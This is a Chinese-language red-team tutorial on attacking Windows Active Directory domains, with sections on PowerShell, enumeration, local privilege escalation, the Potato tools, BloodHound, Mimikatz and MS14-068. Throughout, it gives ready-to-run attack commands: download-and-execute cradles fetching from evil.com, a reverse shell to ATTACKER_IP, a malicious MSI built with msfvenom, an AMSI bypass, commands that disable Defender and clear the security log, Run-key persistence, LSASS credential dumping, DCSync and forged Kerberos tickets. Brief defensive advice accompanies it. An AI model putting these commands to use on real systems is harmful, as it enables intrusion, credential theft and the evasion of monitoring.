ADAPT域渗透测试

ADAPT域渗透测试
Takake在渗透测试红队中,PowerShell 是一个强大的工具,因其深度集成于 Windows 系统且灵活性高,常用于信息收集、权限提升、横向移动和持久化攻击。以下是 PowerShell 的基础知识和红队常用技巧:
一、红队PowerShell
1. PowerShell 基础
基本概念
- **PowerShell (PS)**:基于 .NET 的脚本语言和命令行工具,支持自动化任务和系统管理。
- Cmdlet:PowerShell 内置命令(如
Get-Process
、Copy-Item
)。 - 脚本文件:扩展名为
.ps1
,可通过命令行执行。 - 执行策略:控制脚本运行权限,默认限制严格(
Restricted
)。
常用命令
- 执行脚本:
powershell -ExecutionPolicy Bypass -File script.ps1
- 绕过执行策略:
1
powershell -ep bypass
- 远程下载并执行:
1
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')
2. 红队常用 PowerShell 模块
信息收集
- 系统信息:
1
2
3Get-ComputerInfo
Get-LocalUser
Get-NetIPConfiguration - 网络探测:
1
Test-NetConnection -ComputerName 192.168.1.1 -Port 445
- 域环境信息(需 Active Directory 模块):
1
2Get-ADUser -Filter * | Select-Object Name
Get-ADComputer -Filter *
权限提升
利用服务权限:
1
2sc.exe create EvilService binPath= "cmd /c C:\evil.exe"
sc.exe start EvilServiceToken 窃取(需管理员权限):
1
Invoke-TokenManipulation -ImpersonateUser -Username "Administrator"
横向移动
- PsExec 替代(
Invoke-Command
):1
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
- WMI 远程执行:
1
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "calc.exe"
持久化
- 计划任务:
1
schtasks /create /tn "EvilTask" /tr "C:\evil.exe" /sc DAILY
- 注册表启动项:
1
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\evil.exe"
3. 绕过安全检测
混淆与编码
- Base64 编码命令:
1
2
3$command = "Write-Host 'Hello, Red Team!'"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell -EncodedCommand $encoded - 代码混淆工具:
- Invoke-Obfuscation:混淆脚本以绕过杀软签名检测。
- Chameleon:针对 AMSI(反恶意软件扫描接口)的绕过。
无文件攻击
- 内存加载 DLL/EXE:
1
2$bytes = (Invoke-WebRequest "http://evil.com/shellcode.bin").Content
Invoke-ReflectivePEInjection -PEBytes $bytes - PowerShell 反射注入(使用
Mimikatz
):1
2IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
4. 防御规避
- 禁用日志记录:
1
Set-MpPreference -DisableRealtimeMonitoring $true
- 清除事件日志:
1
wevtutil cl Security
- 绕过 AMSI:
1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
5. 实战工具推荐
- PowerSploit:渗透测试框架(信息收集、权限提升、持久化)。
- Nishang:专为红队设计的脚本集(反向 Shell、键盘记录)。
- Empire:C2 框架,支持 PowerShell 后门。
- Cobalt Strike:集成 PowerShell 攻击链。
6. 防御建议
- 限制 PowerShell 执行策略(如
AllSigned
)。 - 启用 PowerShell 日志记录(脚本块日志、模块日志)。
- 监控敏感命令(如
DownloadString
、IEX
)。 - 使用 AppLocker 或 WDAC 限制脚本执行。
7. 示例:反向 Shell
1 | $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP", 4444) |
掌握 PowerShell 基础后,可结合工具和实战场景深入探索其在红队中的灵活应用。注意合法授权和道德规范!
二、AD域基础知识
Active Directory (AD) 域基础知识
Active Directory(AD)是微软开发的目录服务,用于管理 Windows 网络环境中的用户、计算机、组和其他资源。AD 域是企业网络的核心,理解其基础架构是渗透测试和红队行动的关键。
1. AD 核心概念
1.1 域(Domain)
- 定义:逻辑安全边界,包含用户、计算机、组等对象,共享同一套安全策略和数据库。
- 域控制器(DC, Domain Controller):
- 存储 AD 数据库(
NTDS.dit
)的服务器,负责用户认证和策略执行。 - 一个域可以有多个 DC,通过复制同步数据。
- 存储 AD 数据库(
- 域用户与计算机:
- 用户账号(User Account):唯一标识(如
[email protected]
)。 - 计算机账号(Computer Account):每台加入域的计算机自动创建。
- 用户账号(User Account):唯一标识(如
1.2 林(Forest)与树(Tree)
- 林:多个域的集合,共享全局编录(Global Catalog)和架构(Schema)。
- 根域:林中第一个创建的域。
- 信任关系:林内域默认双向信任,林间需手动配置。
- 树:具有连续 DNS 命名空间的域(如
parent.com
和child.parent.com
)。
1.3 组织单位(OU, Organizational Unit)
- 作用:用于逻辑分组管理对象(用户、计算机等),可嵌套。
- 组策略(GPO, Group Policy Object):
- 通过 GPO 向 OU 内的对象下发策略(如密码策略、软件安装)。
1.4 关键角色(FSMO Roles)
AD 中有 5 个灵活单主机操作角色(Flexible Single Master Operations):
- Schema Master:管理 AD 架构。
- Domain Naming Master:管理域的增加/删除。
- PDC Emulator:时间同步、密码策略主控。
- RID Master:分配安全标识符(SID)中的 RID。
- Infrastructure Master:维护跨域对象引用。
2. AD 核心服务
2.1 DNS
- 作用:解析域名与 IP,AD 依赖 DNS 定位域控制器和服务。
- SRV 记录:记录域控制器的服务(如
_ldap._tcp.dc._msdcs.domain.com
)。
2.2 LDAP(轻量级目录访问协议)
- 端口:默认 389(明文)和 636(SSL)。
- 功能:查询和修改 AD 对象(如用户、组)。
- 基本 DN 结构:
DC=domain,DC=com
。
2.3 Kerberos 认证
- 流程:
- 用户向 KDC(Key Distribution Center)请求 TGT(Ticket Granting Ticket)。
- 使用 TGT 请求服务票据(Service Ticket)。
- 服务票据用于访问资源(如文件服务器)。
- 关键漏洞:
- 黄金票据(Golden Ticket):伪造 TGT(需域管理员哈希)。
- 白银票据(Silver Ticket):伪造服务票据(需服务账号哈希)。
3. AD 安全机制
3.1.安全边界
域不是安全边界,安全边界只有林
因为可以通过SidHistory中设置,进行跨域,通过Sid519进行域间凭证转义。
3.2 权限模型
- ACL(访问控制列表):控制对象访问权限(如用户能否修改组策略)。
- 权限委派:将管理权限下放给非管理员用户(如重置密码)。
3.3 组策略安全
- GPO 继承:子 OU 继承父 OU 策略,可强制覆盖。
- 常见风险:
- 配置不当导致普通用户获得管理员权限。
- 通过 GPO 部署恶意脚本(如开机启动)。
4. 红队视角:AD 常见攻击面
4.1 信息收集
枚举域用户与计算机:
1
2Get-ADUser -Filter * | Select-Object Name
Get-ADComputer -Filter * | Select-Object Name查询域信任关系:
1
Get-ADTrust -Filter *
4.2 凭证攻击
- Pass-the-Hash(PtH):使用用户哈希横向移动。
- Kerberoasting:破解服务账号的 Kerberos 票据(SPN 扫描)。
4.3 横向移动
- PsExec/WMI 远程执行:
1
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
- DCSync 攻击:模拟域控制器同步用户哈希(需
Replicating Directory Changes
权限)。
4.4 权限提升
- 滥用 ACL 权限:如修改 GPO 或用户权限。
- MS14-068(漏洞):伪造 PAC(Privilege Attribute Certificate)获取管理员权限。
4.5 持久化
- Golden Ticket:生成长期有效的 TGT。
- 影子组(Shadow Groups):隐藏后门用户到受信任组。
5. 常用工具
- BloodHound:可视化 AD 攻击路径。
- Mimikatz:提取凭证、操作 Kerberos 票据。
- Impacket:执行协议级攻击(如 DCSync)。
- PowerView:PowerShell AD 信息收集工具。
6. 防御建议
- 强化域控制器:限制管理员访问,启用 Credential Guard。
- 监控日志:关注异常登录、DCSync 事件、GPO 修改。
- 最小化权限:避免普通用户拥有过高权限。
- 定期审计:检查 ACL、SPN 配置、信任关系。
- 禁用过时协议:如 NTLM,强制使用 Kerberos。
示例:通过 LDAP 查询域信息
1 | # 查询所有用户 |
掌握 AD 域基础是红队渗透测试的关键,后续可结合工具和漏洞深入攻击手法。注意:所有操作需在授权范围内进行!
三、活动目录枚举
在渗透测试或红队行动中,域基础信息枚举是获取 Active Directory(AD)环境关键信息的重要步骤。以下是常用的枚举方法和工具,涵盖用户、计算机、组策略、信任关系等核心信息:
1. 基本信息枚举
(1) 获取当前域信息
- PowerShell 内置命令:
1
Get-ADDomain | Select-Object Name, DNSRoot, DomainMode, Forest
- 输出域名、DNS根、域功能级别和所属林名称。
- CMD 命令:
1
2net view /domain # 列出所有域
net config workstation # 查看当前域信息
(2) 域控制器定位
- DNS 查询 SRV 记录:
1
nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名>
- PowerShell:
1
Get-ADDomainController | Select-Object HostName, IPv4Address, Site
2. 用户与组枚举
(1) 查询域用户
- PowerShell:
1
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate
-Filter *
表示所有用户,-Properties *
显示全部属性。
- 过滤管理员用户:
1
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name
(2) 查询域组
- PowerShell:
1
Get-ADGroup -Filter * | Select-Object Name, GroupCategory
- 查询特权组:
1
Get-ADGroup -Filter {Name -like "*Admin*"} | Select-Object Name
3. 计算机枚举
(1) 列出域内计算机
- PowerShell:
1
Get-ADComputer -Filter * -Properties * | Select-Object Name, DNSHostName, OperatingSystem
- CMD 命令:
1
net group "Domain Computers" /domain
(2) 定位特定服务主机
- 查询 SQL 服务器(通过 SPN):
1
Get-ADComputer -Filter {ServicePrincipalName -like "MSSQLSvc*"} -Properties ServicePrincipalName
4. 组策略(GPO)枚举
(1) 列出所有 GPO
- PowerShell:
1
Get-GPO -All | Select-Object DisplayName, Id, ModificationTime
- 导出 GPO 设置:
1
Get-GPOReport -Name "Default Domain Policy" -ReportType HTML -Path "C:\gpo_report.html"
(2) 查找敏感配置
搜索密码策略:
1
Get-ADDefaultDomainPasswordPolicy
检查登录脚本路径:
1
Get-GPO -All | ForEach-Object { Get-GPOReport -Guid $_.Id -ReportType XML } | Select-String "Scripts"
5. 信任关系与林信息
(1) 域信任关系
- PowerShell:
1
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType
- CMD 命令:
1
nltest /domain_trusts
(2) 林信息
- PowerShell:
1
Get-ADForest | Select-Object Name, RootDomain, Domains
6. 工具化枚举
(1) PowerView(PowerShell 脚本)
- 下载:
1
IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1')
- 常用命令:
1
2
3
4Get-NetDomain # 当前域信息
Get-NetUser # 所有用户
Get-NetComputer -SPN "*SQL*" # 按 SPN 过滤计算机
Invoke-ShareFinder # 查找共享目录
(2) BloodHound(可视化分析)
- 数据采集:
1
Invoke-BloodHound -CollectionMethod All
- 生成 JSON 文件后导入 BloodHound 界面,自动分析攻击路径。
- 关键查询:
- “查找域管理员登录的主机”。
- “查找具有 ACL 权限提升路径的用户”。
7. 隐蔽枚举技巧
(1) LDAP 匿名查询
- 若允许匿名访问,可直接通过 LDAP 查询:
1
2
3$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectCategory=User)"
$searcher.FindAll() | ForEach-Object { $_.Properties }
(2) 绕过日志监控
- 无文件执行:
1
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1'); Get-NetUser"
- 清除内存痕迹:
1
[System.GC]::Collect() # 强制垃圾回收
8. 关键信息示例
(1) 定位域管理员
PowerShell:
1
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, DistinguishedName
通过日志分析:
1
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | Where-Object { $_.Message -match "Administrator" }
(2) 查找敏感共享
PowerShell:
1
Get-SmbShare | Where-Object { $_.Path -like "*Data*" }
防御建议
- 限制匿名 LDAP 查询:禁用未经认证的访问。
- 监控敏感命令:如
Get-ADUser
、Invoke-BloodHound
。 - 启用 PowerShell 日志:记录脚本执行和模块加载。
- 定期审计权限:检查特权组和 ACL 配置。
掌握域基础信息枚举是渗透测试的关键前置步骤,结合工具和手动查询可快速构建攻击地图。注意:所有操作需在合法授权范围内进行!
四、本地权限提升
在渗透测试或红队行动中,Windows本地权限提升(Local Privilege Escalation, LPE)是获取更高权限(如 SYSTEM
或管理员)的关键步骤。以下是常见提权手法、工具及防御建议:
1. 基础信息收集
在尝试提权前,需先收集系统信息,定位可利用的漏洞或配置缺陷:
1 | # 查看系统版本 |
或者使用自动化信息枚举工具豌豆winpeas
2. 常见提权手法
(1) 利用未修补的系统漏洞
- CVE 漏洞:
- **PrintNightmare (CVE-2021-34527)**:通过打印机服务加载恶意DLL。
- CVE-2021-1675:类似PrintNightmare的远程代码执行漏洞。
- **ZeroLogon (CVE-2020-1472)**:重置域控制器密码(针对域环境)。
- 利用工具:
- Metasploit:
use exploit/windows/local/[漏洞模块]
。 - GitHub PoC:如 PrintNightmare PoC。
- Metasploit:
(2) 服务权限滥用
可写服务路径:
- 查找服务二进制路径可写的服务:
1
Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "* *" } | Select-Object Name, PathName, StartName
- 替换二进制文件并重启服务:
1
2sc stop ServiceName
sc start ServiceName
- 查找服务二进制路径可写的服务:
服务未引用路径(Unquoted Service Path):
- 若服务路径未用引号包裹且包含空格,可在中间目录植入恶意程序:
1
2# 示例路径:C:\Program Files\Vulnerable Service\service.exe
# 植入 C:\Program.exe 或 C:\Program Files\Vulnerable.exe
- 若服务路径未用引号包裹且包含空格,可在中间目录植入恶意程序:
(3) 计划任务提权
查找以高权限运行的任务:
1
schtasks /query /fo LIST /v | findstr /i "SYSTEM\|管理员"
劫持任务调用的可写脚本或DLL。
(4) DLL劫持(DLL Hijacking)
- 原理:程序运行时加载未验证的DLL路径。
- 工具:
- Process Monitor:监控目标进程加载的DLL。
- PowerShell脚本:自动化检测可劫持的DLL路径。
(5) 令牌模拟(Token Impersonation)
- 适用场景:已获取管理员进程的令牌(如通过Meterpreter会话)。
- Mimikatz命令:
1
2privilege::debug
token::elevate - Metasploit模块:
1
2
3use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
(6) 注册表键滥用
- AlwaysInstallElevated:
- 检查是否允许普通用户以SYSTEM权限安装MSI包:
1
2reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - 生成恶意MSI并安装:
1
2msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
- 检查是否允许普通用户以SYSTEM权限安装MSI包:
(7) 利用自动运行程序(Autoruns)
- 查找开机/登录自启动程序:
- 工具:Autoruns(Sysinternals工具集)。
- 替换可写的启动项脚本(如
C:\Users\Public\Desktop\startup.bat
)。
(8) 其他
在 Windows机器上本地升级权限有多种方法(漏洞)
- 缺少补丁
- 明文形式的自动部署和自动登录密码
- AlwaysInstallElevated(任何用户都可以以SYSTEM身份运行MSI )服务配置错误
- DLL劫持等
在环境下无法利用漏洞进行提权时
- 积极利用不安全的配置
- 不安全的配置很少有针对它们的补丁,而且他们不是安全团队的重点
- 针对企业应用程序部署时并未考虑到安全性,例如测试系统权限过大、测试账号权限过大
- 在Windows上许多企业应用程序需要管理特权或系统特权才能够运行,可以尝试白加黑(白exe+黑+dll)
3. 自动化提权工具
(1) PowerUp.ps1
- 功能:自动化检测服务、计划任务、注册表等提权路径。
- 使用:
1
2
3IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerUp.ps1')
Invoke-AllChecks # 检测所有潜在漏洞
Invoke-ServiceAbuse -Name VulnerableService # 利用可写服务提权
(2) Windows-Exploit-Suggester
- 原理:根据
systeminfo
输出匹配已知漏洞。 - 使用:
1
./windows-exploit-suggester.py --database 2023-10.xls --systeminfo systeminfo.txt
(3) Metasploit
- 常用模块:
1
2use post/multi/recon/local_exploit_suggester # 本地漏洞检测
use exploit/windows/local/service_permissions # 服务权限滥用
以下是关于 Windows提权土豆家族(Potato Family) 的详细介绍,涵盖其原理、常见工具、利用条件及防御建议:
(4) 土豆家族
1. 土豆家族概述
土豆家族 是一系列利用 Windows 特权或漏洞进行本地权限提升(Local Privilege Escalation, LPE)的工具和技术统称。它们通过模拟高权限令牌(如 SYSTEM
)或滥用服务配置,将低权限用户(如 IIS、MSSQL 服务账户)提升至系统权限,广泛用于红队渗透测试中。
核心原理
- 特权滥用:利用
SeImpersonatePrivilege
(模拟令牌)或SeAssignPrimaryTokenPrivilege
(分配令牌)特权,通过 API(如CreateProcessWithTokenW
)生成高权限进程。 - 令牌窃取:通过中间人攻击(如 NTLM 重放)、命名管道(Named Pipe)或 RPC 接口,劫持系统进程(如
spoolsv.exe
)的令牌。
2. 常见工具及利用场景
(1) 主流土豆工具
工具名称 | 特点 | 适用系统版本 |
---|---|---|
PrintSpoofer | 利用 spoolsv.exe 服务,通过命名管道模拟令牌 |
Win 8.1+/Server 2012+ |
RottenPotato | 通过 NTLM 重放攻击模拟 SYSTEM 令牌(MS16-075) |
Win 7/Server 2008 R2 |
JuicyPotato | 早期经典工具,依赖 COM 组件滥用(需 CLSID 列表) | Win 7/Server 2008 R2 |
GodPotato | 通杀全系 Windows 的改进版,支持多种协议(HTTP、SMB 等) | Win 10/Server 2016+ |
SweetPotato | 支持多协议令牌模拟,适用于高版本系统 | Win 10/Server 2019+ |
EfsPotato | 利用 EFS(加密文件系统)RPC 接口获取令牌 | Win 10/Server 2016+ |
PrintNotifyPotato | 通过打印通知功能触发权限提升 | Win 10/Server 2019+ |
注:部分工具需自行编译(如 BadPotato、CandyPotato),部分自带 EXE(如 GodPotato、JuicyPotatoNG)。
(2) 利用条件
- 必要特权:当前用户需具备
SeImpersonatePrivilege
或SeAssignPrimaryTokenPrivilege
(常见于 IIS、MSSQL 服务账户)。 - 服务依赖:如 PrintSpoofer 需
spoolsv.exe
运行,RottenPotato 依赖 NTLM 认证机制。 - 系统补丁:未安装相关漏洞补丁(如 MS16-075、CVE-2021-1675)。
3. 典型攻击流程
- 信息收集:
检查当前权限、系统版本及补丁状态:1
2whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" - 工具上传:
通过 Webshell 上传土豆家族 EXE(如GodPotato.exe
)至可写目录。 - 执行提权:
运行工具生成高权限进程(如启动反向 Shell):1
GodPotato.exe -cmd "C:\shell.exe"
- 权限维持:
通过 Cobalt Strike 或 Meterpreter 获取SYSTEM
会话,进行横向移动或持久化。
4. 防御建议
- 及时打补丁:修复已知漏洞(如永恒之蓝、PrintNightmare)。
- 最小权限原则:
- 服务账户使用低权限(如
LOCAL SERVICE
)。 - 限制敏感目录(如
C:\Windows\System32
)的写入权限。
- 服务账户使用低权限(如
- 启用UAC:防止自动提升权限。
- 审计配置:
- 检查计划任务、服务路径、注册表键。
- 使用 Sysinternals Suite(如
AccessChk
、AutoRuns
)。
- 监控日志:
- 事件ID 4688(新进程创建)、4697(服务安装)、4104(PowerShell脚本执行)。
5. 示例:利用PowerUp提权
1 | # 下载并执行PowerUp |
五.域权限提升之Bloodhound
在 Active Directory(AD)域环境中,BloodHound 是一款强大的开源工具,用于可视化攻击路径并识别权限提升机会。它通过分析用户、组、ACL(访问控制列表)、GPO(组策略)等对象的关系,帮助红队快速定位提权路径。以下是结合 BloodHound 的域权限提升全流程指南:
1. BloodHound 核心概念
(1) 数据收集
- SharpHound:BloodHound 的官方数据收集器(C# 或 PowerShell 版本),用于抓取 AD 对象及其关系。
- 收集类型:
- 默认收集:用户、组、计算机、ACL、会话、GPO、域信任等。
- 高级收集:
-CollectionMethod All
或指定特定类型(如LoggedOn
、RDP
)。
(2) 核心分析视角
- 高价值目标:
- 特权组:Domain Admins、Enterprise Admins、Schema Admins。
- 敏感用户:具备
DCSync
权限或AdminTo
关系的用户。 - 关键资源:域控制器、文件服务器、SQL 服务器。
2. 域权限提升实战流程
步骤1:新版安装配置
**官网安装指导页面**(需要先安装docker)
由于国内墙的原因导致安装指令需要开启系统代理翻墙。
且如果使用了sudo指令需要使用-E参数来继承环境变量。
1
2export http_proxy="http://192.168.100.1:7890"
export https_proxy="http://192.168.100.1:7890"需要安装docker和docker-compose环境。
1
2sudo apt update
sudo apt install docker.io docker-compose且docker需要配置配置镜像源。
步骤1:安装与配置
安装 BloodHound:
1
2
3# Kali Linux
sudo apt install bloodhound
# 或从 GitHub 下载最新版启动 Neo4j 数据库(BloodHound 依赖):
1
neo4j console
登录 BloodHound 界面:
- 访问
http://localhost:7474
,使用默认凭证neo4j/neo4j
初始化密码。
- 访问
步骤2:数据收集
- 通过 SharpHound 收集数据:
1
2
3
4
5# 下载 SharpHound.ps1
IEX (New-Object Net.WebClient).DownloadString('http://<攻击机>/SharpHound.ps1')
# 执行数据收集(默认方法)
Invoke-BloodHound -CollectionMethod All -Domain <域名> -ZipFileName data.zip- 生成
data.zip
文件后,将其导入 BloodHound 界面。
- 生成
步骤3:关键查询与攻击路径
在 BloodHound 中,使用 Cypher 查询 或预置分析功能定位提权路径:
(1) 查找域管理员所在主机
- 预置查询:
Find Domain Admins Logged On
。 - 手动查询:
1
2
3MATCH (u:User)-[:MemberOf]->(g:Group {name: "DOMAIN [email protected]"})
MATCH (c:Computer)-[:HasSession]->(u)
RETURN u.name, c.name- 结果:定位域管理员登录的计算机,尝试横向移动或凭证窃取。
(2) ACL 滥用提权
- 场景:普通用户对高权限组(如 Domain Admins)有
WriteDacl
、GenericAll
权限。 - 查询:
1
2MATCH (u:User {name: "[email protected]"})-[:GenericAll]->(g:Group {name: "DOMAIN [email protected]"})
RETURN u, g- 利用方法:将自身添加到目标组:
1
Add-ADGroupMember -Identity "Domain Admins" -Members "普通用户"
- 利用方法:将自身添加到目标组:
(3) 非特权用户到域控制器的攻击路径
- 预置查询:
Shortest Paths to Domain Admins
。 - 常见路径:
- 用户 → 对计算机有本地管理员权限 → 计算机上有域管理员会话 → 抓取哈希。
- 用户 → 对 GPO 有编辑权限 → 修改 GPO 下发恶意任务。
(4) Kerberoasting 攻击目标
- 查询具备 SPN 的服务账号:
1
MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
- 导出票据后破解:
Invoke-Kerberoast -OutputFormat Hashcat | fl
.
- 导出票据后破解:
(5) 滥用 GPO 提权
- 查询可编辑的 GPO:
1
MATCH (u:User)-[:WriteDacl|Owns]->(g:GPO) RETURN u.name, g.name
- 利用方法:通过 GPO 下发计划任务或启动脚本,在域内主机执行恶意代码。
3. 实战提权案例
案例1:通过 ACL 提权到域管理员
- 发现攻击路径:
BloodHound 显示用户Alice
对HelpDesk
组有GenericAll
权限,而HelpDesk
组对Domain Admins
组有AddMember
权限。 - 执行提权:
1
2
3
4
5# 将 Alice 添加到 HelpDesk 组(如果尚未加入)
Add-ADGroupMember -Identity "HelpDesk" -Members "Alice"
# 通过 HelpDesk 组权限将 Alice 加入 Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "Alice" -Credential (Get-Credential)
案例2:利用会话劫持横向移动
- 定位高权限会话:
BloodHound 显示域管理员Admin
登录到计算机PC-01
。 - 获取 PC-01 控制权:
利用本地提权漏洞(如 Potato 家族)获取PC-01
的 SYSTEM 权限。 - 转储 LSASS 内存:
1
Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
- 使用域管理员凭证横向移动:
1
Invoke-Command -ComputerName DC-01 -ScriptBlock { whoami } -Credential (Get-Credential)
4. 防御建议
- 定期审计 ACL 和组权限:
- 使用 BloodHound 的防御分析功能(如
Active Directory ACL Cleanup
)。 - 移除普通用户对特权组的
WriteDacl
、GenericAll
权限。
- 使用 BloodHound 的防御分析功能(如
- 限制敏感组登录范围:
- 禁止域管理员登录非域控制器主机。
- 启用 LAPS(本地管理员密码解决方案):
- 防止通过本地管理员权限横向移动。
- 监控异常行为:
- 日志事件 ID 4624(登录)、4732(组添加成员)、5136(目录服务变更)。
- 限制 Kerberos 委派和 SPN:
- 避免服务账号过度权限。
5. 扩展工具与技巧
- PowerView:与 BloodHound 结合,手动验证攻击路径:
1
2# 查询用户对组的权限
Get-ObjectAcl -Identity "Domain Admins" | ? { $_.ActiveDirectoryRights -match "WriteProperty" } - ADExplorer(Sysinternals):实时浏览 AD 对象及权限。
- 自动化攻击框架:
- Impacket:执行 DCSync、Kerberoasting。
- CrackMapExec:自动化横向移动与权限验证。
通过 BloodHound,红队可高效识别 AD 环境中的脆弱环节,而防御者则能借此加固权限架构。
六.内网渗透之mimikatz专题简介
Mimikatz 是红队渗透测试中不可或缺的工具,由法国安全研究员 Benjamin Delpy 开发,主要用于从 Windows 系统中提取敏感凭据(如明文密码、哈希值、Kerberos 票据等),并支持多种高级攻击手法。以下是其核心功能、使用场景及防御措施的全面解析:
1. 核心功能与模块
(1) 核心能力
- 凭据提取:通过读取 LSASS 进程内存,获取明文密码、NTLM 哈希、Kerberos 票据等。
- 令牌操作:模拟高权限令牌(如
SYSTEM
或域管理员),实现权限提升。 - 横向移动:支持传递哈希(Pass-the-Hash)、票据传递(Pass-the-Ticket)等攻击。
- 日志清除:清除系统安全日志,隐藏攻击痕迹。
(2) 关键模块
- **
sekurlsa
**:提取内存中的登录凭据(sekurlsa::logonpasswords
)。 - **
kerberos
**:管理 Kerberos 票据(如黄金票据、白银票据注入)。 - **
lsadump
**:操作 LSA 数据库(lsadump::dcsync
导出域用户哈希)。 - **
privilege
**:提权操作(privilege::debug
启用调试权限)。 - **
token
**:令牌窃取与模拟(token::elevate
获取SYSTEM
权限)。
2. 典型使用场景
(1) 内网渗透
- 密码提取:在已控制的主机上运行
sekurlsa::logonpasswords
,获取当前登录用户的明文密码或哈希。 - 横向移动:使用
sekurlsa::pth
传递哈希登录其他主机,或通过kerberos::golden
生成黄金票据访问域资源。 - 权限维持:通过
lsadump::dcsync
导出域控哈希,或注入持久化后门。
(2) Windows 高版本适配
- 绕过 Credential Guard:在 Windows 10/Server 2016+ 中,默认禁用明文密码缓存,需修改注册表启用 WDigest:
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- 配合工具提取:使用
procdump
导出 LSASS 内存文件(.dmp
),再通过sekurlsa::minidump
离线分析。
3. 常见攻击手法示例
(1) 提取本地用户凭据
1 | privilege::debug # 提权至调试权限 |
(2) Kerberoasting 攻击
1 | kerberos::list /export # 导出服务票据(TGS) |
(3) DCSync 攻击(域控权限)
1 | lsadump::dcsync /domain:example.com /user:krbtgt # 导出 krbtgt 账户哈希 |
4. 防御与检测
(1) 防护措施
- 启用 Credential Guard:防止 LSASS 内存被读取。
- 限制特权账户:服务账户避免使用高权限,禁用
SeDebugPrivilege
。 - 日志监控:关注事件 ID 4688(新进程)、4624(登录事件)、4662(DCSync 操作)。
- 应用白名单:限制未签名程序执行(如 AppLocker)。
(2) 检测建议
- LSASS 保护:启用受控文件夹访问(Controlled Folder Access)阻止未授权进程访问 LSASS。
- 异常行为分析:监控
mimikatz.exe
或Invoke-Mimikatz.ps1
的执行痕迹。 - 网络流量审计:识别 Kerberos 票据请求异常或哈希传递行为。
5. 工具联动与扩展
- Cobalt Strike 集成:通过
mimikatz
插件直接调用功能(如logonpasswords
)。 - Metasploit 框架:使用
load kiwi
模块加载 Mimikatz 功能。 - 自动化攻击链:结合 BloodHound 分析攻击路径,利用 Mimikatz 快速提权。
6. 注意事项
- 绕过杀软:通过源码修改(如混淆字符串)、内存加载(无文件执行)或使用 VMProtect 加壳实现免杀。
- 系统兼容性:部分功能在 Windows 高版本受限,需结合其他工具(如 Rubeus、SharpKatz)。
Mimikatz 的威力在于其对 Windows 安全机制的深度利用,但同时也暴露了系统在凭据管理上的脆弱性。红队需灵活掌握其功能,而蓝队应通过加固配置与实时监控降低风险。
七.域权限提升漏洞篇
Kerberos身份认证流程。
1.MS14-068
漏洞原理
MS14-068(CVE-2014-6324)是Kerberos协议中的权限提升漏洞,允许普通域用户伪造特权票据(TGT),获取域管理员权限。其核心问题在于KDC(密钥分发中心)对PAC(特权属性证书)签名的验证缺陷:
- PAC验证绕过:攻击者可构造包含伪造高权限组(如域管理员组SID)的PAC,利用KDC对校验算法(如MD5)的支持缺陷,绕过密钥验证。
- 签名伪造:正常PAC需使用服务账号和krbtgt的哈希签名,但漏洞允许使用无密钥依赖的MD5算法生成签名,使伪造的PAC通过验证。
- 票据注入:伪造的TGT被KDC接受后,攻击者可生成任意服务的访问票据(如CIFS),从而获得域控权限。
漏洞复现流程
前提条件 :
- 域控未安装补丁KB3011780。
- 获取普通域用户的账号密码(或Hash)及其SID。
- 域内存在至少一台未加固的主机。
复现步骤:
环境检测
1
2systeminfo | find "3011780" # 确认域控未安装补丁
whoami /all # 获取当前用户SID(如S-1-5-21-xxx)生成伪造票据
使用工具(如ms14-068.exe
或Pykek
)生成TGT:1
2MS14-068.exe -u [email protected] -p password -s <SID> -d <域控IP>
# 示例:生成[email protected]票据注入
通过Mimikatz或Kekeo注入内存:1
2kerberos::purge # 清除现有票据
kerberos::ptc [email protected] # 注入伪造票据权限验证与利用
- 访问域控共享目录:
1
dir \\DC\C$ # 成功访问说明提权成功
- 使用PsExec获取域控Shell:
1
PsExec.exe \\DC cmd.exe # 以管理员身份执行命令
- 访问域控共享目录:
适用范围
- 受影响系统 :
- Windows Server 2003/2008/2012(未安装KB3011780)。
- 桌面系统:Windows Vista/7/8/8.1。
- 利用场景:
- 攻击者已控制域内一台普通主机,并获取低权限域用户凭据。
- 域控未启用SID过滤或PAC强验证机制。
PAC扩展知识补充
- PAC核心作用:权限声明:
